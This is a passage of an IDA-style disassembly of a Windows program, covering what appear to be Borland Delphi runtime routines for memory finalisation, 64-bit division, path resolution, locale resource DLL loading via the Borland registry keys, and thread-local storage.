		call	sub_4012DC


loc_4027C9:				; CODE XREF: sub_402774+Bj
					; sub_402774+43j
		mov	eax, ebx
		call	sub_4022E4
		mov	[ebx], edi


loc_4027D2:				; CODE XREF: sub_402774+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402774	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027D8	proc near		; CODE XREF: CODE:004067B4p
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_4027EC
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		call	sub_401148
		pop	eax

locret_4027EC:				; CODE XREF: sub_4027D8+4j
		retn
sub_4027D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4027F0	proc near		; CODE XREF: sub_401AE8+12p
					; sub_402824+B1p
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [ecx+edx+0Ah]
		mov	edi, [ecx+edx+6]


loc_402802:				; CODE XREF: sub_4027F0+29j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		mov	ecx, 1
		call	sub_402824
		add	esi, 8
		dec	edi
		jg	short loc_402802
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4027F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402824	proc near		; CODE XREF: sub_4027F0+20p
					; sub_402824+9Bp ...
		cmp	ecx, 0
		jz	locret_40290F
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		cmp	al, 0Ah
		jz	short loc_402867
		cmp	al, 0Bh
		jz	short loc_402884
		cmp	al, 0Ch
		jz	short loc_40289D
		cmp	al, 0Dh
		jz	short loc_4028AC
		cmp	al, 0Eh
		jz	short loc_4028CA
		cmp	al, 0Fh
		jz	loc_4028E0
		cmp	al, 11h
		jz	loc_4028EF
		jmp	loc_402900
; ---------------------------------------------------------------------------


loc_402867:				; CODE XREF: sub_402824+1Cj
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_402878
		call	sub_4022E4
		jmp	loc_40290B
; ---------------------------------------------------------------------------


loc_402878:				; CODE XREF: sub_402824+48j
		mov	edx, ecx
		call	sub_402308
		jmp	loc_40290B
; ---------------------------------------------------------------------------


loc_402884:				; CODE XREF: sub_402824+20j
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_402893
		call	ds:off_409020
		jmp	short loc_40290B
; ---------------------------------------------------------------------------


loc_402893:				; CODE XREF: sub_402824+65j
		mov	edx, ecx
		call	ds:off_409024
		jmp	short loc_40290B
; ---------------------------------------------------------------------------


loc_40289D:				; CODE XREF: sub_402824+24j
					; sub_402824+84j
		mov	eax, ebx
		add	ebx, 10h
		call	sub_402964
		dec	edi
		jg	short loc_40289D
		jmp	short loc_40290B
; ---------------------------------------------------------------------------


loc_4028AC:				; CODE XREF: sub_402824+28j
		push	ebp
		mov	ebp, edx


loc_4028AF:				; CODE XREF: sub_402824+A1j
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_402824
		dec	edi
		jg	short loc_4028AF
		pop	ebp
		jmp	short loc_40290B
; ---------------------------------------------------------------------------


loc_4028CA:				; CODE XREF: sub_402824+2Cj
		push	ebp
		mov	ebp, edx


loc_4028CD:				; CODE XREF: sub_402824+B7j
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_4027F0
		dec	edi
		jg	short loc_4028CD
		pop	ebp
		jmp	short loc_40290B
; ---------------------------------------------------------------------------


loc_4028E0:				; CODE XREF: sub_402824+30j
					; sub_402824+C7j
		mov	eax, ebx
		add	ebx, 4
		call	sub_402F4C
		dec	edi
		jg	short loc_4028E0
		jmp	short loc_40290B
; ---------------------------------------------------------------------------


loc_4028EF:				; CODE XREF: sub_402824+38j
					; sub_402824+D8j
		mov	eax, ebx
		mov	edx, esi
		add	ebx, 4
		call	sub_402A34
		dec	edi
		jg	short loc_4028EF
		jmp	short loc_40290B
; ---------------------------------------------------------------------------


loc_402900:				; CODE XREF: sub_402824+3Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		mov	al, 2
		jmp	loc_401280
; ---------------------------------------------------------------------------


loc_40290B:				; CODE XREF: sub_402824+4Fj
					; sub_402824+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	eax

locret_40290F:				; CODE XREF: sub_402824+3j
		retn
sub_402824	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402914	proc near		; CODE XREF: sub_40291C+Fp sub_40295Cj
					; DATA XREF: ...
		mov	al, 10h
		jmp	loc_401280
sub_402914	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40291C	proc near		; CODE XREF: sub_402954j
					; DATA XREF: CODE:00402948o ...
		mov	ax, [eax]
		sub	ax, 2
		jb	short locret_402930
		sub	ax, 8
		jz	short locret_402930
		call	sub_402914

locret_402930:				; CODE XREF: sub_40291C+7j
					; sub_40291C+Dj
		retn
sub_40291C	endp

; ---------------------------------------------------------------------------
		align 4
		mov	edx, offset off_40A410
		xor	eax, eax


loc_40293B:				; CODE XREF: CODE:00402946j
		mov	dword ptr [edx+eax*4], offset sub_402914
		inc	eax
		cmp	eax, 2Bh
		jnz	short loc_40293B
		mov	eax, offset sub_40291C
		mov	ds:off_40A410, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402954	proc near		; CODE XREF: sub_402964+1p
		jmp	ds:off_40A410
sub_402954	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40295C	proc near		; CODE XREF: sub_404170+Ap
		jmp	ds:off_40A43C
sub_40295C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402964	proc near		; CODE XREF: sub_402824+7Ep
		push	eax
		call	sub_402954
		pop	eax
		retn
sub_402964	endp


; =============== S U B	R O U T	I N E =======================================



sub_40296C	proc near		; DATA XREF: BSS:0040A000o
		mov	al, 11h
		jmp	loc_401280
sub_40296C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402974	proc near		; CODE XREF: sub_403FE4+43p
					; sub_403FE4+5Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edx
		push	eax
		mov	eax, [esp+8+arg_4]
		mul	[esp+8+var_8]
		mov	ecx, eax
		mov	eax, [esp+8+var_4]
		mul	[esp+8+arg_0]
		add	ecx, eax
		mov	eax, [esp+8+var_8]
		mul	[esp+8+arg_0]
		add	edx, ecx
		pop	ecx
		pop	ecx
		retn	8
sub_402974	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402998	proc near		; CODE XREF: sub_40437D+38p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+10h+arg_0]
		mov	ecx, [esp+10h+arg_4]
		or	ecx, ecx
		jnz	short loc_4029B0
		or	edx, edx
		jz	short loc_4029DB
		or	ebx, ebx
		jz	short loc_4029DB


loc_4029B0:				; CODE XREF: sub_402998+Ej
		mov	ebp, ecx
		mov	ecx, 40h
		xor	edi, edi
		xor	esi, esi


loc_4029BB:				; CODE XREF: sub_402998:loc_4029D2j
		shl	eax, 1
		rcl	edx, 1
		rcl	esi, 1
		rcl	edi, 1
		cmp	edi, ebp
		jb	short loc_4029D2
		ja	short loc_4029CD
		cmp	esi, ebx
		jb	short loc_4029D2


loc_4029CD:				; CODE XREF: sub_402998+2Fj
		sub	esi, ebx
		sbb	edi, ebp
		inc	eax


loc_4029D2:				; CODE XREF: sub_402998+2Dj
					; sub_402998+33j
		loop	loc_4029BB


loc_4029D4:				; CODE XREF: sub_402998+47j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_4029DB:				; CODE XREF: sub_402998+12j
					; sub_402998+16j
		div	ebx
		xor	edx, edx
		jmp	short loc_4029D4
sub_402998	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4029E4	proc near		; CODE XREF: sub_40437D+15p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+10h+arg_0]
		mov	ecx, [esp+10h+arg_4]
		or	ecx, ecx
		jnz	short loc_4029FC
		or	edx, edx
		jz	short loc_402A2B
		or	ebx, ebx
		jz	short loc_402A2B


loc_4029FC:				; CODE XREF: sub_4029E4+Ej
		mov	ebp, ecx
		mov	ecx, 40h
		xor	edi, edi
		xor	esi, esi


loc_402A07:				; CODE XREF: sub_4029E4:loc_402A1Ej
		shl	eax, 1
		rcl	edx, 1
		rcl	esi, 1
		rcl	edi, 1
		cmp	edi, ebp
		jb	short loc_402A1E
		ja	short loc_402A19
		cmp	esi, ebx
		jb	short loc_402A1E


loc_402A19:				; CODE XREF: sub_4029E4+2Fj
		sub	esi, ebx
		sbb	edi, ebp
		inc	eax


loc_402A1E:				; CODE XREF: sub_4029E4+2Dj
					; sub_4029E4+33j
		loop	loc_402A07
		mov	eax, esi
		mov	edx, edi


loc_402A24:				; CODE XREF: sub_4029E4+4Cj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_402A2B:				; CODE XREF: sub_4029E4+12j
					; sub_4029E4+16j
		div	ebx
		xchg	eax, edx
		xor	edx, edx
		jmp	short loc_402A24
sub_4029E4	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402A34	proc near		; CODE XREF: sub_402824+D2p
					; CODE:004066E1p ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short locret_402A6C
		mov	dword ptr [eax], 0
		dec	dword ptr [ecx-8]
		jnz	short locret_402A6C
		push	eax
		mov	eax, ecx
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	edx, [ecx+edx+6]
		test	edx, edx
		jz	short loc_402A63
		mov	ecx, [eax-4]
		test	ecx, ecx
		jz	short loc_402A63
		mov	edx, [edx]
		call	sub_402824


loc_402A63:				; CODE XREF: sub_402A34+1Fj
					; sub_402A34+26j
		sub	eax, 8
		call	sub_4011C0
		pop	eax

locret_402A6C:				; CODE XREF: sub_402A34+4j
					; sub_402A34+Fj
		retn
sub_402A34	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402A70	proc near		; CODE XREF: sub_402AB8+1Bp

var_110		= byte ptr -110h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF8h
		mov	ebx, eax
		cmp	dword ptr [ebx+10h], 0
		jnz	short loc_402AAB
		push	105h
		lea	eax, [esp+114h+var_110]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_401088	; GetModuleFileNameA
		mov	eax, esp
		mov	dl, 1
		call	sub_402CAC
		mov	esi, eax
		mov	[ebx+10h], esi
		test	esi, esi
		jnz	short loc_402AAB
		mov	eax, [ebx+4]
		mov	[ebx+10h], eax


loc_402AAB:				; CODE XREF: sub_402A70+Ej
					; sub_402A70+33j
		mov	eax, [ebx+10h]
		add	esp, 108h
		pop	esi
		pop	ebx
		retn
sub_402A70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402AB8	proc near		; CODE XREF: sub_402F64+2Bp
					; CODE:00405258p
		mov	edx, ds:off_409014
		test	edx, edx
		jz	short locret_402ADF


loc_402AC2:				; CODE XREF: sub_402AB8+25j
		cmp	eax, [edx+4]
		jz	short loc_402AD1
		cmp	eax, [edx+8]
		jz	short loc_402AD1
		cmp	eax, [edx+0Ch]
		jnz	short loc_402AD9


loc_402AD1:				; CODE XREF: sub_402AB8+Dj
					; sub_402AB8+12j
		mov	eax, edx
		call	sub_402A70
		retn
; ---------------------------------------------------------------------------


loc_402AD9:				; CODE XREF: sub_402AB8+17j
		mov	edx, [edx]
		test	edx, edx
		jnz	short loc_402AC2

locret_402ADF:				; CODE XREF: sub_402AB8+8j
		retn
sub_402AB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AE0	proc near		; CODE XREF: sub_402AF4+83p
					; sub_402AF4+96p ...
		jmp	short loc_402AE8
; ---------------------------------------------------------------------------


loc_402AE2:				; CODE XREF: sub_402AE0+11j
		push	eax
		call	sub_4010D0	; CharNextA


loc_402AE8:				; CODE XREF: sub_402AE0j
		mov	dl, [eax]
		test	dl, dl
		jz	short locret_402AF3
		cmp	dl, 5Ch
		jnz	short loc_402AE2

locret_402AF3:				; CODE XREF: sub_402AE0+Cj
		retn
sub_402AE0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AF4	proc near		; CODE XREF: sub_402CAC+A3p

var_24F		= byte ptr -24Fh
var_14A		= byte ptr -14Ah
var_11E		= byte ptr -11Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDB0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		push	offset dword_402C88
		call	sub_401090	; GetModuleHandleA
		mov	esi, eax
		test	esi, esi
		jz	short loc_402B5C
		push	offset aGetlongpathnam ; "GetLongPathNameA"
		push	esi
		call	sub_4010F8	; GetProcAddress
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402B5C
		push	105h
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jz	short loc_402B5C
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401118	; lstrcpyn
		jmp	loc_402C7E
; ---------------------------------------------------------------------------


loc_402B5C:				; CODE XREF: sub_402AF4+26j
					; sub_402AF4+37j ...
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_402B9C
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+1], 5Ch
		jnz	loc_402C7E
		mov	eax, [ebp+var_4]
		add	eax, 2
		call	sub_402AE0
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_402C7E
		lea	eax, [esi+1]
		call	sub_402AE0
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_402C7E
		jmp	short loc_402BA2
; ---------------------------------------------------------------------------


loc_402B9C:				; CODE XREF: sub_402AF4+6Ej
		mov	esi, [ebp+var_4]
		add	esi, 2


loc_402BA2:				; CODE XREF: sub_402AF4+A6j
		mov	ebx, esi
		sub	ebx, [ebp+var_4]
		lea	eax, [ebx+1]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		call	sub_401118	; lstrcpyn
		jmp	loc_402C61
; ---------------------------------------------------------------------------


loc_402BC0:				; CODE XREF: sub_402AF4+170j
		lea	eax, [esi+1]
		call	sub_402AE0
		mov	edi, eax
		mov	eax, edi
		sub	eax, esi
		mov	edx, eax
		add	edx, ebx
		inc	edx
		cmp	edx, 105h
		jg	loc_402C7E
		inc	eax
		push	eax
		push	esi
		lea	eax, [ebp+var_24F]
		add	eax, ebx
		push	eax
		call	sub_401118	; lstrcpyn
		lea	eax, [ebp+var_14A]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		call	sub_4010E8	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_402C7E
		push	esi
		call	sub_4010E0	; FindClose
		lea	eax, [ebp+var_11E]
		push	eax
		call	sub_401120	; lstrlen
		lea	edx, [ebx+1]
		add	eax, edx
		inc	eax
		cmp	eax, 105h
		jg	short loc_402C7E
		mov	[ebp+ebx+var_24F], 5Ch
		mov	eax, 105h
		sub	eax, ebx
		dec	eax
		push	eax
		lea	eax, [ebp+var_11E]
		push	eax
		lea	eax, [ebp+var_24F]
		add	eax, ebx
		inc	eax
		push	eax
		call	sub_401118	; lstrcpyn
		lea	eax, [ebp+var_11E]
		push	eax
		call	sub_401120	; lstrlen
		inc	eax
		add	ebx, eax
		mov	esi, edi


loc_402C61:				; CODE XREF: sub_402AF4+C7j
		cmp	byte ptr [esi],	0
		jnz	loc_402BC0
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_24F]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401118	; lstrcpyn


loc_402C7E:				; CODE XREF: sub_402AF4+63j
					; sub_402AF4+77j ...
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402AF4	endp

; ---------------------------------------------------------------------------
dword_402C88	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ;	DATA XREF: sub_402AF4+18o
aGetlongpathnam	db 'GetLongPathNameA',0 ; DATA XREF: sub_402AF4+28o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402CAC	proc near		; CODE XREF: sub_402A70+27p

var_11D		= byte ptr -11Dh
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_B		= byte ptr -0Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE0h
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	105h
		lea	eax, [ebp+var_11D]
		push	eax
		push	0
		call	sub_401088	; GetModuleFileNameA
		mov	[ebp+var_12], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorlan ; "Software\\Borland\\Locales"
		push	80000001h
		call	sub_401130	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_402D2F
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorlan ; "Software\\Borland\\Locales"
		push	80000002h
		call	sub_401130	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_402D2F
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorl_0 ; "Software\\Borland\\Delphi\\Locales"
		push	80000001h
		call	sub_401130	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_402DB8


loc_402D2F:				; CODE XREF: sub_402CAC+41j
					; sub_402CAC+5Fj
		xor	eax, eax
		push	ebp
		push	offset loc_402DB1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_18], 5
		lea	eax, [ebp+var_11D]
		mov	edx, 105h
		call	sub_402AF4
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_401138	; RegQueryValueExA
		test	eax, eax
		jz	short loc_402D96
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		push	offset dword_402F18
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_401138	; RegQueryValueExA
		test	eax, eax
		jz	short loc_402D96
		mov	[ebp+var_12], 0


loc_402D96:				; CODE XREF: sub_402CAC+C6j
					; sub_402CAC+E4j
		mov	[ebp+var_E], 0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402DB8


loc_402DA7:				; CODE XREF: sub_402CAC+10Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_401128	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_402DB1:				; DATA XREF: sub_402CAC+86o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_402DA7
; ---------------------------------------------------------------------------


loc_402DB8:				; CODE XREF: sub_402CAC+7Dj
					; DATA XREF: sub_402CAC+F6o
		push	105h
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_401118	; lstrcpyn
		push	5
		lea	eax, [ebp+var_D]
		push	eax
		push	3
		call	sub_401100	; GetThreadLocale
		push	eax
		call	sub_4010F0	; GetLocaleInfoA
		xor	esi, esi
		cmp	[ebp+var_11D], 0
		jz	loc_402ED2
		cmp	[ebp+var_D], 0
		jnz	short loc_402DFF
		cmp	[ebp+var_12], 0
		jz	loc_402ED2


loc_402DFF:				; CODE XREF: sub_402CAC+147j
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_401120	; lstrlen
		mov	ebx, eax
		lea	eax, [ebp+var_11D]
		add	ebx, eax
		jmp	short loc_402E18
; ---------------------------------------------------------------------------


loc_402E17:				; CODE XREF: sub_402CAC+179j
		dec	ebx


loc_402E18:				; CODE XREF: sub_402CAC+169j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_402E27
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jnz	short loc_402E17


loc_402E27:				; CODE XREF: sub_402CAC+16Fj
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jz	loc_402ED2
		inc	ebx
		cmp	[ebp+var_12], 0
		jz	short loc_402E64
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	ebx
		call	sub_401118	; lstrcpyn
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_401108	; LoadLibraryExA
		mov	esi, eax


loc_402E64:				; CODE XREF: sub_402CAC+18Ej
		test	esi, esi
		jnz	short loc_402ED2
		cmp	[ebp+var_D], 0
		jz	short loc_402ED2
		lea	eax, [ebp+var_11D]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	sub_401118	; lstrcpyn
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_401108	; LoadLibraryExA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_402ED2
		mov	[ebp+var_B], 0
		lea	eax, [ebp+var_11D]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	sub_401118	; lstrcpyn
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_401108	; LoadLibraryExA
		mov	esi, eax


loc_402ED2:				; CODE XREF: sub_402CAC+13Dj
					; sub_402CAC+14Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402CAC	endp

; ---------------------------------------------------------------------------
		align 4
aSoftwareBorlan	db 'Software\Borland\Locales',0 ; DATA XREF: sub_402CAC+30o
					; sub_402CAC+4Eo
		align 4
aSoftwareBorl_0	db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_402CAC+6Co
dword_402F18	dd 0			; DATA XREF: sub_402CAC+D4o

; =============== S U B	R O U T	I N E =======================================



sub_402F1C	proc near		; CODE XREF: sub_4030CC+5p
		mov	edx, ds:off_409014
		mov	[eax], edx
		mov	ds:off_409014, eax
		retn
sub_402F1C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402F2C	proc near		; CODE XREF: sub_4021FC+66p
					; DATA XREF: DATA:off_40901Co
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ds:dword_409018
		test	ebx, ebx
		jz	short loc_402F46


loc_402F3A:				; CODE XREF: sub_402F2C+18j
		mov	eax, [esi+4]
		call	dword ptr [ebx+4]
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_402F3A


loc_402F46:				; CODE XREF: sub_402F2C+Cj
		pop	esi
		pop	ebx
		retn
sub_402F2C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402F4C	proc near		; CODE XREF: sub_402824+C1p
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_402F60
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		mov	eax, [edx]
		call	dword ptr [eax+8]
		pop	eax

locret_402F60:				; CODE XREF: sub_402F4C+4j
		retn
sub_402F4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402F64	proc near		; CODE XREF: sub_402180+16p
					; sub_404C74+2Ep ...

var_408		= byte ptr -408h

		push	ebx
		push	esi
		add	esp, 0FFFFFC00h
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402FB1
		cmp	dword ptr [ebx+4], 10000h
		jge	short loc_402FA7
		push	400h
		lea	eax, [esp+40Ch+var_408]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		mov	eax, [ebx]
		mov	eax, [eax]
		call	sub_402AB8
		push	eax
		call	sub_401110	; LoadStringA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, esi
		call	sub_4023D0
		jmp	short loc_402FB1
; ---------------------------------------------------------------------------


loc_402FA7:				; CODE XREF: sub_402F64+17j
		mov	eax, esi
		mov	edx, [ebx+4]
		call	sub_4024B8


loc_402FB1:				; CODE XREF: sub_402F64+Ej
					; sub_402F64+41j
		add	esp, 400h
		pop	esi
		pop	ebx
		retn
sub_402F64	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402FF8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A3D8
		jnz	short loc_402FEA
		cmp	ds:dword_40A40C, 0
		jz	short loc_402FE4
		call	ds:dword_40A40C


loc_402FE4:				; CODE XREF: CODE:00402FDCj
		call	ds:off_409034


loc_402FEA:				; CODE XREF: CODE:00402FD3j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402FFF


loc_402FF7:				; CODE XREF: CODE:00402FFDj
		retn
; ---------------------------------------------------------------------------


loc_402FF8:				; DATA XREF: CODE:00402FC2o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_402FF7
; ---------------------------------------------------------------------------


loc_402FFF:				; CODE XREF: CODE:loc_402FF7j
					; DATA XREF: CODE:00402FF2o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0A3D82D83h, 73010040h, 0E04EE823h, 0DCA3FFFFh, 0C70040A3h
		dd 40A00005h, 40296C00h, 0F90EE800h, 25E8FFFFh,	0A3FFFFE1h
		dd 40A030h, 408DC3h

; =============== S U B	R O U T	I N E =======================================



sub_403034	proc near		; CODE XREF: sub_403048+21p
		push	eax
		push	40h
		call	sub_401098	; LocalAlloc
		retn
sub_403034	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403040	proc near		; CODE XREF: sub_403048+1p
		mov	eax, 8
		retn
sub_403040	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403048	proc near		; CODE XREF: sub_40308C:loc_4030A6p
		push	ebx
		call	sub_403040
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40308A
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_403067
		mov	eax, 0E2h
		call	sub_4022D8
; ---------------------------------------------------------------------------


loc_403067:				; CODE XREF: sub_403048+13j
		mov	eax, ebx
		call	sub_403034
		test	eax, eax
		jnz	short loc_40307E
		mov	eax, 0E2h
		call	sub_4022D8
; ---------------------------------------------------------------------------
		jmp	short loc_40308A
; ---------------------------------------------------------------------------


loc_40307E:				; CODE XREF: sub_403048+28j
		push	eax
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_4010A8	; TlsSetValue


loc_40308A:				; CODE XREF: sub_403048+Aj
					; sub_403048+34j
		pop	ebx
		retn
sub_403048	endp


; =============== S U B	R O U T	I N E =======================================



sub_40308C	proc near		; CODE XREF: sub_401234+20p
					; CODE:0040128Fp ...
		mov	cl, ds:byte_40A4BC
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_4030C1
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_4030A6:				; CODE XREF: sub_40308C+3Dj
		call	sub_403048
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_4010A0	; TlsGetValue
		test	eax, eax
		jz	short loc_4030BB
		retn
; ---------------------------------------------------------------------------


loc_4030BB:				; CODE XREF: sub_40308C+2Cj
		mov	eax, ds:dword_40A4D0
		retn
; ---------------------------------------------------------------------------


loc_4030C1:				; CODE XREF: sub_40308C+Dj
		push	eax
		call	sub_4010A0	; TlsGetValue
		test	eax, eax
		jz	short loc_4030A6
		retn
sub_40308C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030CC	proc near		; CODE XREF: sub_4030D8+2Ep
